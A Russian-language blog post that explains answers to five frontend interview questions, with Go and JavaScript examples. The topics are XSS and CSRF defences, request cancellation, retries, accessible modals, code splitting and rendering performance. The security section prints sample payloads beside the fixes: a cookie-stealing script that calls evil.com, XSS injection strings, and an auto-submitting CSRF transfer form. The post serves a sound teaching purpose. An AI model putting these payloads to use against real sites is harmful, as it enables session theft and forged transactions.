Перейти к основному содержимому

5 вопросов, которые зададут на собеседовании Frontend Middle/Senior

· 24 мин. чтения

Сегодня мы разберём расшифровку собеседования на позицию фронтенд-разработчика, в которой интервьюер последовательно задаёт кандидату вопросы о безопасности (XSS, CSRF), обработке данных (AbortController, дедубликация, retry), доступности (a11y модальных окон), код-сплиттинге и производительности (Reflow/Repaint). Ход собеседования демонстрирует структурированный подход к оценке знаний от базовых до продвинутых, с акцентом на понимание внутренних механизмов работы браузера и фреймворков. Кандидат должен показать не только знание инструментов, но и способность объяснить, «как это работает под капотом».

Вопрос 1. Что такое XSS-атака, CSRF-атака, как они работают и как от них защититься?

Таймкод: 00:00:50

Ответ собеседника: Правильный. Кандидат подробно описал все три типа XSS (Stored, Reflected, DOM-based), механизмы работы CSRF, различия между ними и методы защиты, включая CSP, HttpOnly, SameSite, CSRF-токены, Trusted Types API.

Правильный ответ:

Ответ собеседника полный и детальный. Дополним его практическими примерами на Go и углубим некоторые аспекты.

XSS (Cross-Site Scripting) — подробный разбор

XSS — тип инъекционной атаки, при которой злоумышленник внедряет вредоносный код (обычно JavaScript) на веб-страницу, которую затем видят другие пользователи.

Типы XSS-атак

1. Stored XSS (Хранимая инъекция)

Вредоносный скрипт сохраняется на сервере (в базе данных, файле, логе) и отдаётся каждому пользователю, запросившему заражённую страницу.

Пример уязвимости на Go:

// УЯЗВИМЫЙ КОД — никогда так не делать
func handleComment(w http.ResponseWriter, r *http.Request) {
comment := r.FormValue("comment")
// Сохраняем комментарий в БД без санитизации
db.Exec("INSERT INTO comments (body) VALUES (?)", comment)

// При отображении — прямой вывод без экранирования
fmt.Fprintf(w, "<div class='comment'>%s</div>", comment)
// Если comment = "<script>fetch('https://evil.com/steal?c='+document.cookie)</script>"
// — куки каждого посетителя отправятся на сервер злоумышленника
}

2. Reflected XSS (Отражённая инъекция)

Скрипт не сохраняется на сервере, а передаётся через параметры URL или форму, и сервер сразу включает его в ответ.

// УЯЗВИМЫЙ КОД
func handleSearch(w http.ResponseWriter, r *http.Request) {
query := r.URL.Query().Get("q")
fmt.Fprintf(w, "<h1>Результаты поиска для: %s</h1>", query)
// URL: /search?q=<script>alert('XSS')</script>
}

3. DOM-based XSS

Уязвимость существует на стороне клиента — вредоносные данные из URL (hash, query) передаются в опасные DOM-методы без санитизации.

// УЯЗВИМЫЙ клиентский код
const userInput = location.hash.slice(1);
document.getElementById('output').innerHTML = userInput;
// URL: page#<img src=x onerror=alert(1)>

Методы защиты от XSS

А. Экранирование вывода (Output Encoding)

В Go пакет html/template автоматически экранирует вывод:

// БЕЗОПАСНЫЙ КОД
import "html/template"

func handleComment(w http.ResponseWriter, r *http.Request) {
comment := r.FormValue("comment")

tmpl := template.Must(template.New("comment").Parse(
`<div class="comment">{{.}}</div>`,
))
tmpl.Execute(w, comment) // Автоматическое экранирование < > & " '
}

Б. Content-Security-Policy (CSP)

HTTP-заголовок, ограничивающий источники исполняемых скриптов:

func securityHeaders(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Security-Policy",
"default-src 'self'; "+
"script-src 'self' 'nonce-abc123'; "+
"style-src 'self' 'unsafe-inline'; "+
"img-src 'self' data:; "+
"frame-ancestors 'none';")
next.ServeHTTP(w, r)
})
}

В. HttpOnly и Secure cookies

http.SetCookie(w, &http.Cookie{
Name: "session",
Value: sessionToken,
HttpOnly: true, // Недоступно из JavaScript — защищает от кражи через XSS
Secure: true, // Только по HTTPS
SameSite: http.SameSiteStrictMode,
})

Г. Санитизация входных данных

import "github.com/microcosm-cc/bluemonday"

func sanitizeInput(raw string) string {
p := bluemonday.UGCPolicy() // Политика для пользовательского контента
// Разрешает безопасные HTML-теги (b, i, p, a[href]), удаляет script
return p.Sanitize(raw)
}

CSRF (Cross-Site Request Forgery) — подробный разбор

CSRF — атака, при которой злоумышленник заставляет браузер авторизованного пользователя выполнить нежелательный запрос на целевом сайте.

Механизм атаки

Пользователь авторизован на bank.com (сессионная cookie установлена). Посещает сайт злоумышленника, который содержит:

<!-- На сайте evil.com -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">
<!-- или скрытая форма с автоподгрузкой -->
<form action="https://bank.com/transfer" method="POST" id="hack">
<input name="to" value="attacker">
<input name="amount" value="10000">
</form>
<script>document.getElementById('hack').submit()</script>

Браузер автоматически прикрепляет сессионную cookie bank.com, сервер выполняет запрос как легитимного пользователя.

Ключевое отличие XSS и CSRF

  • XSS — выполнение произвольного кода в контексте сайта жертвы (нарушение конфиденциальности, целостности)
  • CSRF — выполнение запросов от имени жертвы без возможности прочитать ответ (нарушение целостности)

Методы защиты от CSRF

А. CSRF-токены (Synchronizer Token Pattern)

import "net/http"
import "crypto/rand"

// Генерация токена
func generateToken() string {
b := make([]byte, 32)
rand.Read(b)
return fmt.Sprintf("%x", b)
}

// Middleware проверки CSRF-токена
func csrfMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" || r.Method == "PUT" || r.Method == "DELETE" {
// Токен из формы/заголовка
formToken := r.Header.Get("X-CSRF-Token")
// Токен из сессии
sessionToken := getSessionToken(r)

if formToken == "" || formToken != sessionToken {
http.Error(w, "CSRF token mismatch", http.StatusForbidden)
return
}
}
next.ServeHTTP(w, r)
})
}

В HTML-форму вставляется скрытое поле:

<form method="POST" action="/transfer">
<input type="hidden" name="csrf_token" value="{{.CSRFToken}}">
<input name="to" value="">
<input name="amount" value="">
<button type="submit">Отправить</button>
</form>

Б. SameSite Cookie атрибут

http.SetCookie(w, &http.Cookie{
Name: "session",
Value: token,
SameSite: http.SameSiteLaxMode, // По умолчанию в современных браузерах
// Lax: cookie НЕ отправляются при cross-site POST (защищает от CSRF)
// Strict: cookie НЕ отправляются при любом cross-site запросе
// None: cookie всегда отправляются (требует Secure)
})

В. Проверка Origin/Referer заголовков

func checkOrigin(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")
if origin != "" && origin != "https://ourdomain.com" {
http.Error(w, "Invalid origin", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}

Г. Double Submit Cookie Pattern

Для приложений без серверного состояния (SPA):

// При загрузке страницы устанавливаем cookie со случайным значением
http.SetCookie(w, &http.Cookie{
Name: "csrf_token",
Value: generateToken(),
SameSite: http.SameSiteStrictMode,
})

// Клиент читает cookie и отправляет то же значение в заголовке X-CSRF-Token
// Сервер сравнивает: значение в cookie === значение в заголовке

Сводная таблица защиты

Мера защитыЗащищает от XSSЗащищает от CSRF
Экранирование вывода
CSP заголовок
HttpOnly cookies✅ (частично)
SameSite cookies
CSRF-токены
Проверка Origin
Санитизация ввода
Trusted Types API

Вопрос 2. Как решить проблему Race Condition при загрузке данных, что такое дедупликация запросов и как обрабатывать ошибки с ретраями?

Таймкод: 00:05:48

Ответ собеседника: Правильный. Кандидат верно описал механизм Race Condition, решение через AbortController, принцип дедупликации запросов с использованием Map промисов. Ответ обрывается на теме ретраев.

Правильный ответ:

Ответ собеседника полный по первым двум темам. Дополним раздел про ретраи и добавим серверную реализацию на Go.

Race Condition при загрузке данных

Проблема возникает, когда пользователь быстро меняет параметры запроса (фильтры, страницы, поиск), и ответы приходят в непредсказуемом порядке. Последний отправленный запрос может завершиться раньше предыдущего, и на экране отобразятся устаревшие данные.

Решение на стороне клиента (JavaScript)

let currentController = null;

async function fetchData(filter) {
// Отменяем предыдущий запрос
if (currentController) {
currentController.abort();
}

currentController = new AbortController();

try {
const response = await fetch(`/api/data?filter=${filter}`, {
signal: currentController.signal,
});
const data = await response.json();
renderData(data);
} catch (error) {
if (error.name === 'AbortError') {
// Запрос был отменён — это ожидаемое поведение
return;
}
handleError(error);
}
}

Решение на стороне сервера (Go) — через контекст

func handleDataRequest(w http.ResponseWriter, r *http.Request) {
// Контекст запроса автоматически отменяется при обрыве соединения
ctx := r.Context()

filter := r.URL.Query().Get("filter")

// Передаём контекст в запрос к БД — при отмене запроса клиентом
// контекст отменится и запрос к БД прервётся
rows, err := db.QueryContext(ctx, "SELECT * FROM items WHERE filter = ?", filter)
if err != nil {
if ctx.Err() == context.Canceled {
// Клиент отключился — не нужно отправлять ответ
return
}
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
defer rows.Close()

// Потоковая отправка данных с проверкой контекста
w.Header().Set("Content-Type", "application/json")
encoder := json.NewEncoder(w)

for rows.Next() {
select {
case <-ctx.Done():
// Клиент отменил запрос — прекращаем работу
return
default:
}

var item Item
rows.Scan(&item.ID, &item.Name)
encoder.Encode(item)
}
}

Дедупликация запросов (Request Deduplication)

Паттерн, при котором множественные одинаковые запросы, отправленные одновременно, объединяются в один сетевой вызов. Все подписчики получают результат одного и того же промиса.

Реализация на Go

package dedup

import (
"context"
"sync"
)

// Singleflight — стандартный подход из golang.org/x/sync/singleflight
// Ниже приведена упрощённая собственная реализация для понимания механизма

type call struct {
wg sync.WaitGroup
val interface{}
err error
}

type Deduplicator struct {
mu sync.Mutex
calls map[string]*call
}

func New() *Deduplicator {
return &Deduplicator{
calls: make(map[string]*call),
}
}

// Do выполняет fn только если нет другого активного вызова с тем же ключом
// Все параллельные вызовы с одинаковым ключом ждут завершения первого
func (d *Deduplicator) Do(key string, fn func() (interface{}, error)) (interface{}, error) {
d.mu.Lock()

if c, exists := d.calls[key]; exists {
d.mu.Unlock()
c.wg.Wait() // Ждём завершения уже идущего запроса
return c.val, c.err
}

c := &call{}
c.wg.Add(1)
d.calls[key] = c
d.mu.Unlock()

c.val, c.err = fn()
c.wg.Done()

d.mu.Lock()
delete(d.calls, key) // Удаляем из мапы после завершения
d.mu.Unlock()

return c.val, c.err
}

Использование стандартного singleflight из Go

import "golang.org/x/sync/singleflight"

var g singleflight.Group

func getUserProfile(userID string) (*Profile, error) {
key := "profile:" + userID

result, err, shared := g.Do(key, func() (interface{}, error) {
// Этот вызов выполнится только один раз для данного ключа
// даже если 100 горутин вызовут одновременно
profile, err := fetchProfileFromDB(userID)
if err != nil {
return nil, err
}
return profile, nil
})

if err != nil {
return nil, err
}

// shared == true означает, что результат был получен от другого вызова
log.Printf("Result shared: %v", shared)

return result.(*Profile), nil
}

Обработка ошибок и ретраи (Retry Logic)

А. Экспоненциальный бэк-off с jitter

package retry

import (
"context"
"math"
"math/rand"
"time"
)

type Config struct {
MaxRetries int // Максимальное число попыток
BaseDelay time.Duration // Базовая задержка (например, 100ms)
MaxDelay time.Duration // Максимальная задержка (например, 30s)
Multiplier float64 // Множитель экспоненты (обычно 2.0)
}

func DefaultConfig() Config {
return Config{
MaxRetries: 3,
BaseDelay: 100 * time.Millisecond,
MaxDelay: 30 * time.Second,
Multiplier: 2.0,
}
}

// IsRetryable определяет, стоит ли повторять запрос при данной ошибке
type IsRetryable func(error) bool

// RetryableErrors — стандартная проверка: ретраим сетевые ошибки и 5xx
func RetryableErrors(err error) bool {
if err == nil {
return false
}
// Ретраим контекстные ошибки (deadline, отмену) — нет
if err == context.DeadlineExceeded || err == context.Canceled {
return false
}
// Для HTTP-ошибок ретраим 5xx и 429 (Too Many Requests)
var httpErr *HTTPError
if errors.As(err, &httpErr) {
return httpErr.StatusCode >= 500 || httpErr.StatusCode == 429
}
// Сетевые ошибки — ретраим
var netErr net.Error
if errors.As(err, &netErr) {
return true
}
return false
}

// Do выполняет функцию с повторами при ошибках
func Do(ctx context.Context, cfg Config, isRetryable IsRetryable, fn func() error) error {
var lastErr error

for attempt := 0; attempt <= cfg.MaxRetries; attempt++ {
if err := fn(); err != nil {
lastErr = err

// Если ошибка не ретраимая или последняя попытка
if !isRetryable(err) || attempt == cfg.MaxRetries {
return err
}

// Вычисляем задержку: base * multiplier^attempt + jitter
delay := float64(cfg.BaseDelay) * math.Pow(cfg.Multiplier, float64(attempt))
if delay > float64(cfg.MaxDelay) {
delay = float64(cfg.MaxDelay)
}

// Добавляем jitter (случайное отклонение) для предотвращения thundering herd
jitter := rand.Float64() * delay * 0.5
sleepDuration := time.Duration(delay + jitter)

select {
case <-ctx.Done():
return ctx.Err()
case <-time.After(sleepDuration):
// Продолжаем к следующей попытке
}

continue
}

return nil // Успех
}

return lastErr
}

Б. Использование ретрая с HTTP-клиентом

func fetchWithRetry(ctx context.Context, url string) (*http.Response, error) {
cfg := retry.DefaultConfig()
var resp *http.Response

err := retry.Do(ctx, cfg, retry.RetryableErrors, func() error {
req, err := http.NewRequestWithContext(ctx, "GET", url, nil)
if err != nil {
return err // Не ретраим ошибку создания запроса
}

resp, err = http.DefaultClient.Do(req)
if err != nil {
return err // Сетевая ошибка — ретраим
}

if resp.StatusCode >= 500 || resp.StatusCode == 429 {
resp.Body.Close()
return &HTTPError{StatusCode: resp.StatusCode} // Ретраим
}

return nil // Успех или 4xx (не ретраим)
})

return resp, err
}

В. Circuit Breaker — дополнение к ретраям

Ретраи без circuit breaker могут завалить уже падающий сервис. Circuit breaker отключает запросы при превышении порога ошибок.

import "github.com/sony/gobreaker"

var cb = gobreaker.NewCircuitBreaker(gobreaker.Settings{
Name: "api-service",
MaxRequests: 3, // Полуоткрытое состояние: пропускаем 3 запроса
Interval: 60 * time.Second, // Период закрытого состояния для сброса счётчика
Timeout: 30 * time.Second, // Время в открытом состоянии перед переходом в полуоткрытое
ReadyToTrip: func(counts gobreaker.Counts) bool {
failureRatio := float64(counts.TotalFailures) / float64(counts.Requests)
return counts.Requests >= 10 && failureRatio >= 0.6
},
})

// Использование: circuit breaker + retry
result, err := cb.Execute(func() (interface{}, error) {
return fetchWithRetry(ctx, "https://api.example.com/data")
})

Итоговая схема обработки запроса

Клиент → [AbortController: отмена предыдущего запроса]
→ [Deduplicator: объединение одинаковых запросов]
→ [Retry с exponential backoff + jitter]
→ [Circuit Breaker: защита от каскадных сбоев]
→ Сервер → [Context: обработка отмены]
→ Ответ

Ключевые принципы

  • Jitter обязателен при ретраях — без него все клиенты одновременно повторят запрос (thundering herd)
  • Не все ошибки ретраим — 4xx (кроме 429) не исчезнут при повторе, context.Canceled тоже не ретраим
  • Таймауты на каждом уровне — контекст с deadline предотвращает бесконечное ожидание
  • Idempotency key — для не-GET запросов используйте ключи идемпотентности, чтобы повторный запрос не привёл к двойному списанию денег

Вопрос 3. Как правильно сделать доступным модальное окно: семантика, ARIA-атрибуты, управление фокусом, работа с клавиатурой, визуальная доступность?

Таймкод: 00:10:51

Ответ собеседника: Правильный. Кандидат детально описал все аспекты доступности модального окна: семантику, ARIA-атрибуты, управление фокусом, клавиатурную навигацию, визуальную доступность, а также разницу между aria-hidden и inert.

Правильный ответ:

Ответ собеседника исчерпывающий. Дополним его практическими примерами кода и углубим некоторые аспекты.

Семантика и ARIA-атрибуты

Базовая структура доступного модального окна:

<!-- Кнопка открытия -->
<button
type="button"
aria-haspopup="dialog"
aria-expanded="false"
aria-controls="modal-1"
id="modal-trigger"
>
Открыть настройки
</button>

<!-- Модальное окно -->
<div
role="dialog"
aria-modal="true"
aria-labelledby="modal-title"
aria-describedby="modal-description"
id="modal-1"
>
<h2 id="modal-title">Настройки профиля</h2>
<p id="modal-description">
Измените настройки вашего профиля и нажмите «Сохранить».
</p>

<!-- Содержимое модалки -->
<form>
<label for="email">Email</label>
<input type="email" id="email" />

<button type="submit">Сохранить</button>
<button type="button" class="close-btn" aria-label="Закрыть окно настроек">

</button>
</form>
</div>

<!-- Фоновая подложка -->
<div class="backdrop" aria-hidden="true"></div>

Ключевые ARIA-атрибуты

АтрибутНазначение
role="dialog"Объявляет элемент как диалоговое окно
aria-modal="true"Указывает, что содержимое под модалкой недоступно
aria-labelledbyСсылка на заголовок — скринридер объявит его при открытии
aria-describedbyСсылка на описание — дополнительный контекст
aria-haspopup="dialog"На кнопке открытия — указывает тип попапа
aria-expandedНа кнопке открытия — текущее состояние (true/false)
aria-labelНа кнопке закрытия без текста — описание для скринридера

Управление фокусом (Focus Trap)

class AccessibleModal {
constructor(modalElement) {
this.modal = modalElement;
this.triggerElement = null;
this.focusableSelectors = [
'a[href]:not([disabled]):not([tabindex="-1"])',
'button:not([disabled]):not([tabindex="-1"])',
'input:not([disabled]):not([tabindex="-1"])',
'select:not([disabled]):not([tabindex="-1"])',
'textarea:not([disabled]):not([tabindex="-1"])',
'[tabindex]:not([tabindex="-1"])',
].join(', ');
}

open() {
// Сохраняем элемент, который открыл модалку
this.triggerElement = document.activeElement;

this.modal.hidden = false;

// Делаем фон недоступным
this.setPageInert(true);

// Фокус на первый фокусируемый элемент модалки
const focusable = this.getFocusableElements();
if (focusable.length > 0) {
focusable[0].focus();
} else {
this.modal.focus(); // Фолбэк: фокус на саму модалку
}

// Слушатели событий
this.handleKeyDown = this.handleKeyDown.bind(this);
document.addEventListener('keydown', this.handleKeyDown);
}

close() {
this.modal.hidden = true;
this.setPageInert(false);
document.removeEventListener('keydown', this.handleKeyDown);

// Возвращаем фокус на элемент, открывший модалку
if (this.triggerElement) {
this.triggerElement.focus();
}
}

handleKeyDown(event) {
// Escape — закрытие
if (event.key === 'Escape') {
event.preventDefault();
this.close();
return;
}

// Tab — циклический фокус внутри модалки
if (event.key === 'Tab') {
this.trapFocus(event);
}
}

trapFocus(event) {
const focusable = this.getFocusableElements();
if (focusable.length === 0) return;

const firstElement = focusable[0];
const lastElement = focusable[focusable.length - 1];

if (event.shiftKey) {
// Shift+Tab: с первого элемента — на последний
if (document.activeElement === firstElement) {
event.preventDefault();
lastElement.focus();
}
} else {
// Tab: с последнего элемента — на первый
if (document.activeElement === lastElement) {
event.preventDefault();
firstElement.focus();
}
}
}

getFocusableElements() {
return Array.from(
this.modal.querySelectorAll(this.focusableSelectors)
).filter(el => el.offsetParent !== null); // Только видимые
}

setPageInert(inert) {
// Делаем все элементы вне модалки недоступными
const main = document.querySelector('main') || document.body;
const siblings = Array.from(main.children).filter(
el => el !== this.modal && !this.modal.contains(el)
);

siblings.forEach(el => {
if (inert) {
el.setAttribute('inert', '');
// inert делает элементы невидимыми для скринридера,
// блокирует фокус и клики — в отличие от aria-hidden
} else {
el.removeAttribute('inert');
}
});
}
}

Разница между aria-hidden и inert

<!-- aria-hidden="true" — НЕДОСТАТОЧНО -->
<div aria-hidden="true">
<button>Этот кнопка всё ещё получает фокус по Tab</button>
<a href="/">Эта ссылка всё ещё кликабельна</a>
<!-- Скринридер игнорирует, но клавиатурный фокус — нет -->
</div>

<!-- inert — ПОЛНАЯ БЛОКИРОВКА -->
<div inert>
<button>Этот кнопка НЕ получает фокус</button>
<a href="/">Эта ссылка НЕ кликабельна</a>
<!-- Элементы полностью недоступны: ни фокус, ни клики, ни скринридер -->
</div>

Визуальная доступность — CSS

/* Индикация фокуса — никогда не убирать outline */
.modal :focus-visible {
outline: 3px solid #005fcc;
outline-offset: 2px;
border-radius: 2px;
}

/* Минимальный размер кликабельной зоны */
.modal button,
.modal [role="button"] {
min-width: 44px;
min-height: 44px;
padding: 8px 16px;
}

/* Контраст текста — минимум 4.5:1 для обычного текста */
.modal {
color: #1a1a1a; /* Тёмный текст */
background: #ffffff; /* Белый фон */
/* Контраст ratio: 16.75:1 — отлично */
}

.modal .hint-text {
color: #595959; /* Серый для второстепенного текста */
/* Контраст ratio: 7.0:1 — соответствует AA */
}

/* Блокировка скролла фона */
body.modal-open {
overflow: hidden;
}

/* Учёт prefers-reduced-motion */
.modal {
animation: fadeIn 0.3s ease-out;
}

@media (prefers-reduced-motion: reduce) {
.modal {
animation: none;
transition: none;
}
}

/* Для скринридеров: визуально скрытый, но доступный текст */
.sr-only {
position: absolute;
width: 1px;
height: 1px;
padding: 0;
margin: -1px;
overflow: hidden;
clip: rect(0, 0, 0, 0);
white-space: nowrap;
border: 0;
}

Блокировка фона через overflow

// При открытии модалки
document.body.style.overflow = 'hidden';

// При закрытии модалки
document.body.style.overflow = '';

// Проблема: страница прыгает из-за исчезновения скроллбара
// Решение: компенсировать ширину скроллбара
const scrollbarWidth = window.innerWidth - document.documentElement.clientWidth;
document.body.style.paddingRight = `${scrollbarWidth}px`;
document.body.style.overflow = 'hidden';

Тестирование доступности

Инструменты:

  • axe DevTools — расширение для Chrome, проверяет ARIA и контраст
  • Lighthouse — встроенный аудит доступности в Chrome DevTools
  • VoiceOver (macOS) — встроенный скринридер, Cmd+F5 для активации
  • NVDA (Windows) — бесплатный скринридер

Чек-лист ручного тестирования:

  1. Открыть модалку клавиатурой (Tab + Enter на кнопке)
  2. Проверить, что Tab циклируется только внутри модалки
  3. Нажать Escape — модалка должна закрыться
  4. После закрытия фокус должен вернуться на кнопку открытия
  5. Включить VoiceOver — проверить, что заголовок и описание озвучиваются
  6. Проверить, что фон не читается скринридером
  7. Проверить контраст через инструмент типа WebAIM Contrast Checker

Готовые библиотеки для production

Вместо самостоятельной реализации рекомендуется использовать проверенные библиотеки:

  • Radix UI (React) — полностью доступные примитивы, включая Dialog
  • Headless UI (React/Vue) — от создателей Tailwind CSS
  • Reach UI — библиотека с фокусом на accessibility
  • a11y-dialog (vanilla JS) — лёгкая библиотека без зависимостей

Эти библиотеки уже реализуют focus trap, ARIA-атрибуты, управление фокусом и клавиатурную навигацию, и регулярно тестируются с реальными скринридерами.

Вопрос 4. Что такое code splitting, зачем он нужен, какие стратегии разбивки бандла существуют, в чём разница между preload и prefetch и какие есть подводные камни?

Таймкод: 00:15:43

Ответ собеседника: Правильный. Кандидат подробно описал все аспекты: механизм динамического импорта, стратегии разбивки, разницу между preload и prefetch, подводные камни и инструменты анализа.

Правильный ответ:

Ответ собеседника полный и детальный. Дополним его примерами конфигурации и углубим некоторые технические аспекты.

Code splitting — фундамент

Code splitting — единственный примитив — динамический import(). Все инструменты (Webpack, Vite, Rollup) трансформируют его в отдельные файлы (чанки), загружаемые по требованию.

// Статический импорт — всегда в основном бандле
import HeavyComponent from './HeavyComponent';

// Динамический импорт — отдельный чанк
const HeavyComponent = await import('./HeavyComponent');

Зачем это нужно: JS ≠ картинка

1 Мб JavaScript значительно дороже 1 Мб изображения:

  • Скачивание: ~100ms (зависит от сети)
  • Парсинг: ~500ms на мобильном устройстве
  • Компиляция: ~300ms
  • Выполнение: ~200ms

Итого: ~1.1 секунды на мобильном устройстве для обработки 1 Мб JS. Картинка в 1 Мб — только скачивание (~100ms), без блокировки main thread.

Стратегии разбивки бандла — практические примеры

А. Разбивка по роутам (обязательно)

// React Router
import { lazy, Suspense } from 'react';

// Каждый роут — отдельный чанк
const Dashboard = lazy(() => import('./pages/Dashboard'));
const Settings = lazy(() => import('./pages/Settings'));
const Reports = lazy(() => import('./pages/Reports'));

function App() {
return (
<Suspense fallback={<PageSkeleton />}>
<Routes>
<Route path="/dashboard" element={<Dashboard />} />
<Route path="/settings" element={<Settings />} />
<Route path="/reports" element={<Reports />} />
</Routes>
</Suspense>
);
}

Б. Разбивка по фичам (тяжёлые компоненты)

// Тяжёлый компонент — отдельный чанк, загружается только при необходимости
const CodeEditor = lazy(() => import('./components/CodeEditor'));
const PDFViewer = lazy(() => import('./components/PDFViewer'));

function DocumentPage({ documentType }) {
return (
<div>
<h1>Документ</h1>
{documentType === 'code' && (
<Suspense fallback={<Spinner />}>
<CodeEditor />
</Suspense>
)}
{documentType === 'pdf' && (
<Suspense fallback={<Spinner />}>
<PDFViewer />
</Suspense>
)}
</div>
);
}

В. Разбивка по вендерам (Webpack)

// webpack.config.js
module.exports = {
optimization: {
splitChunks: {
cacheGroups: {
// React и связанные библиотеки — отдельный чанк
reactVendor: {
test: /[\\/]node_modules[\\/](react|react-dom|react-router)[\\/]/,
name: 'vendor-react',
chunks: 'all',
priority: 30,
},
// UI-библиотека — отдельный чанк
uiVendor: {
test: /[\\/]node_modules[\\/](@radix-ui|@headlessui)[\\/]/,
name: 'vendor-ui',
chunks: 'all',
priority: 20,
},
// Всё остальное из node_modules
defaultVendors: {
test: /[\\/]node_modules[\\/]/,
name: 'vendors',
chunks: 'all',
priority: 10,
reuseExistingChunk: true,
},
},
},
},
};

Г. Vite — manual chunks

// vite.config.js
export default {
build: {
rollupOptions: {
output: {
manualChunks: {
'vendor-react': ['react', 'react-dom'],
'vendor-ui': ['@radix-ui/react-dialog', '@radix-ui/react-select'],
},
},
},
},
};

Preload vs Prefetch — детальное сравнение

<!-- Preload: загрузить СЕЙЧАС, высокий приоритет -->
<!-- Используется для ресурсов, которые точно понадобятся на текущей странице -->
<link rel="preload" href="/fonts/inter-var.woff2" as="font" type="font/woff2" crossorigin>
<link rel="preload" href="/critical-chunk.js" as="script">

<!-- Prefetch: загрузить, когда браузер свободен, низкий приоритет -->
<!-- Используется для ресурсов, которые МОГУТ понадобиться в будущем -->
<link rel="prefetch" href="/next-page-chunk.js" as="script">
ХарактеристикаPreloadPrefetch
ПриоритетВысокийСамый низкий
Когда загружаетСразу, параллельноКогда браузер свободен
Для чегоРесурсы текущей страницыРесурсы следующей страницы
КэшированиеНа текущую навигациюНа будущую навигацию
РискМожет заблокировать критические ресурсыПрактически отсутствует

Prefetch при наведении на ссылку (Next.js)

import Link from 'next/link';

// Next.js Link автоматически делает prefetch при появлении в viewport
// Можно отключить:
<Link href="/dashboard" prefetch={false}>
Дашборд
</Link>

// Ручной prefetch
import { useRouter } from 'next/router';

function MyLink({ href, children }) {
const router = useRouter();

const handleMouseEnter = () => {
router.prefetch(href); // Загружаем чанк при наведении
};

return (
<Link href={href} onMouseEnter={handleMouseEnter}>
{children}
</Link>
);
}

Подводные камни — детальный разбор

А. HTTP/1.1 и ограничение соединений

HTTP/1.1: максимум 6 параллельных соединений на домен
├── chunk-1.js ← загружается
├── chunk-2.js ← загружается
├── chunk-3.js ← загружается
├── chunk-4.js ← загружается
├── chunk-5.js ← загружается
├── chunk-6.js ← загружается
├── chunk-7.js ← В ОЧЕРЕДИ, ждёт
├── chunk-8.js ← В ОЧЕРЕДИ, ждёт
└── chunk-9.js ← В ОЧЕРЕДИ, ждёт

Решение: HTTP/2 (мультиплексирование, неограниченные запросы)

Б. Водопад зависимостей (Chunk Waterfall)

// Проблема: последовательная загрузка
// main.js загружается → обнаруживает зависимость от editor.js → загружает editor.js →
// → editor.js обнаруживает зависимость от monaco.js → загружает monaco.js

// Решение: magic comments для предзагрузки
const Editor = lazy(() => import(
/* webpackChunkName: "editor" */
/* webpackPreload: true */
'./Editor'
));

// Webpack добавит <link rel="preload"> для editor.js сразу после загрузки main.js

В. Side effects и tree-shaking

// package.json — sideEffects влияет на tree-shaking
{
"name": "my-lib",
// ❌ Без указания — бандлер считает ВСЕ модули имеющими side effects
// Включает весь lodash даже при импорте одной функции

// ✅ Явное указание
"sideEffects": false,

// ✅ Или перечисление файлов с side effects
"sideEffects": ["*.css", "./src/polyfills.js"]
}
// ❌ Плохо: импорт всего Lodash (70 Кб gzip)
import debounce from 'lodash/debounce';

// ✅ Хорошо: импорт только нужной функции (1 Кб gzip)
import debounce from 'lodash-es/debounce';

// ✅ Ещё лучше: замена на нативный или лёгкий аналог
import { debounce } from 'radash'; // tree-shakeable

Г. Слишком маленькие чанки

// ❌ Антипаттерн: чанк на каждый компонент
// 200 компонентов = 200 HTTP-запросов (даже с HTTP/2 это накладные расходы)

// ✅ Группировка связанных компонентов
const UserCard = lazy(() => import('./user/UserCard'));
const UserList = lazy(() => import('./user/UserList'));
// Лучше: объединить в один чанк 'user'
const UserModule = lazy(() => import(
/* webpackChunkName: "user-module" */
'./user'
));

Инструменты анализа

# Webpack Bundle Analyzer — визуализация содержимого бандла
npx webpack-bundle-analyzer stats.json

# Source Map Explorer — работает с любым бандлером
npx source-map-explorer dist/assets/index-abc123.js

# Vite — визуализация
npx rollup-plugin-visualizer

# Next.js — встроенный анализатор
ANALYZE=true npm run build

Пример анализа и оптимизации

До оптимизации (Lighthouse Performance: 42):
├── main.js 890 Кб
│ ├── lodash 70 Кб ← заменить на lodash-es или radash
│ ├── moment.js 65 Кб ← заменить на date-fns
│ ├── all locales 45 Кб ← moment тянет все локали
│ └── monaco 350 Кб ← вынести в отдельный чанк
└── vendors.js 180 Кб

После оптимизации (Lighthouse Performance: 87):
├── main.js 320 Кб (-64%)
├── vendor-react 45 Кб (кэшируется надолго)
├── vendor-radix 25 Кб (кэшируется надолго)
├── editor (lazy) 380 Кб (загружается только при открытии редактора)
└── vendors 85 Кб (остальные библиотеки)

Влияние на Core Web Vitals

  • LCP (Largest Contentful Paint): меньше JS в критическом пути → быстрее рендер контента
  • FID/INP (Interaction to Next Paint): меньше работы на main thread → быстрее реакция на действия
  • CLS (Cumulative Layout Shift): preload шрифтов через <link rel="preload"> предотвращает сдвиги текста

Вопрос 5. Чем отличается Reflow от Repaint, что такое Composition, какие свойства их триггерят, что такое layout thrashing и как оптимизировать производительность рендеринга?

Таймкод: 00:20:47

Ответ собеседника: Правильный. Кандидат детально описал все три уровня рендеринга, триггеры каждого уровня, layout thrashing, методы оптимизации и инструменты диагностики.

Правильный ответ:

Ответ собеседника исчерпывающий. Дополним его практическими примерами кода, паттернами оптимизации и углубим некоторые аспекты.

Три уровня рендеринга — визуализация пайплайна

DOM + CSSOM → Style Calculation → Layout (Reflow) → Paint (Repaint) → Composite
↑ ↑
↑ Только transform/opacity
↑ Обходит Layout и Paint
Самый дорогой Самый дешёвый

Reflow (Layout) — пересчёт геометрии

Reflow пересчитывает позиции и размеры элементов. Изменение одного элемента может вызвать пересчёт всех его потомков, предков и соседних элементов.

// ❌ Триггерит Reflow
element.style.width = '200px';
element.style.height = '100px';
element.style.padding = '10px';
element.style.margin = '20px';
element.style.fontSize = '16px';
element.style.display = 'flex';

// ❌ Чтение геометрических свойств после записи — форсирует Reflow
element.style.width = '200px';
const width = element.offsetWidth; // Браузер вынужден выполнить Reflow, чтобы вернуть актуальное значение

